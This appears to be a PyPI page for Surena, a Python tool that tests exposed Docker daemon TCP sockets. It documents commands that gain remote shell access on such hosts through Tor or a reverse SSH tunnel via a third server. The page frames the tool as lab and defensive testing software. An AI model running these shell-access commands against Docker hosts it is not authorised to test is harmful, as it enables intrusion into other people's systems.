No project description provided
Project description
Surena
Surena is a tool developed to assess vulnerabilities in Docker daemons when their TCP socket is exposed to a network without paying attention to its security issues. It is developed using Click, a Python CLI library, and the Docker SDK for Python. Surena demonstrates how a hacker can gain shell access from an insecure Docker Host using two methods: Tor Network and SSH Reverse Tunneling. To understand more about how Surena works and how to use these methods, please refer to Medium article: article. The name Surena is derived from a Parthian(Iranian) spahbed from the first century BC. For further information, you can visit the Wikipedia page on Surena.
Installation
Surena can be installed from PyPI by running:
pip install surena
Once installed, Surena can be run using the following commands in your terminal. To view available commands and options, use:
surena --help
Using
Surena offers two commands: is-docker-host and get-docker-host. The is-docker-host command checks if the Docker daemon's TCP port is accessible from the network. To understand its options, run:
surena is-docker-host --help
For example, execute the command with these options:
surena is-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT
The get-docker-host command is used to gain shell access from the Docker daemon using two methods. To understand its options, run:
surena get-docker-host --help
Please note, if Surena can gain shell access from the Docker host, it will create a text file named "WARNING.surena" in the "/root/" path of the Docker host. For example, to gain shell access using the Tor Network method, run this command with the following options:
surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method tor
To gain shell access using the Reverse SSH Tunneling method, run this command with the following options:
surena get-docker-host --docker-host-address $DOCKER_HOST_IP --docker-host-port $DOCKER_HOST_PORT --access-method reverse-ssh --ssh-server-address $THIRD_SERVER_IP --ssh-server-username $THIRD_SERVER_USERNAME --ssh-server-password $THIRD_SERVER_PASSWORD --ssh-server-port $THIRD_SERVER_SSH_PORT
Please note that in the remote SSH server or in the THIRD_SERVER_IP, which has already been mentioned, the "GatewayPorts" configuration in the sshd_config file located at /etc/ssh/sshd_config should be changed from GatewayPorts no to either GatewayPorts clientspecified or GatewayPorts yes to enable it.
Additionally, ensure to replace $DOCKER_HOST_IP, $DOCKER_HOST_PORT, $THIRD_SERVER_IP, $THIRD_SERVER_USERNAME, $THIRD_SERVER_PASSWORD, and $THIRD_SERVER_SSH_PORT with the appropriate values.
Warning
Surena is intended for lab use and to help you understand whether your Docker daemon is secure or insecure. PLEASE DO NOT USE SURENA FOR MALICIOUS ACTIVITIES.
Donate
If Surena has helped you secure your infrastructure, particularly those utilizing Docker daemons over the network, I would be grateful if you could consider supporting by donating Tether or Dogecoin.
USDT (TRC20): TXcb1yTW71QZhqVEFx3Y1JGZVu384Mt17B
Dogecoin: DRizEG8R6wW2cW5MNEAnERMMEMq6wupQMA
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file surena-0.1.1.tar.gz.
File metadata
- Download URL: surena-0.1.1.tar.gz
- Upload date:
- Size: 11.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/1.7.0 CPython/3.12.3 Linux/6.5.0-1021-azure
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
813cafb696023a18caef11c8b3d21252de9477880e3d21ca713495ae94777c16
|
|
| MD5 |
233baa5339d21753547f1a04f6e6a074
|
|
| BLAKE2b-256 |
68ab9cc418aaf955190d6a7a39a5f9d29b6aec8f848c2e855a5fba99d1102f2f
|
File details
Details for the file surena-0.1.1-py3-none-any.whl.
File metadata
- Download URL: surena-0.1.1-py3-none-any.whl
- Upload date:
- Size: 14.7 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/1.7.0 CPython/3.12.3 Linux/6.5.0-1021-azure
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f6f106a104f528d9cc314fc584823531fb3f6a6eae9a6da0e882f3e5e97d5213
|
|
| MD5 |
7f0d154c99b402c7d6652ea4764595a2
|
|
| BLAKE2b-256 |
b46a92db63ce069fc3d7dbeaa49902aa2fe195e05b6336dd0cee458aaa1384af
|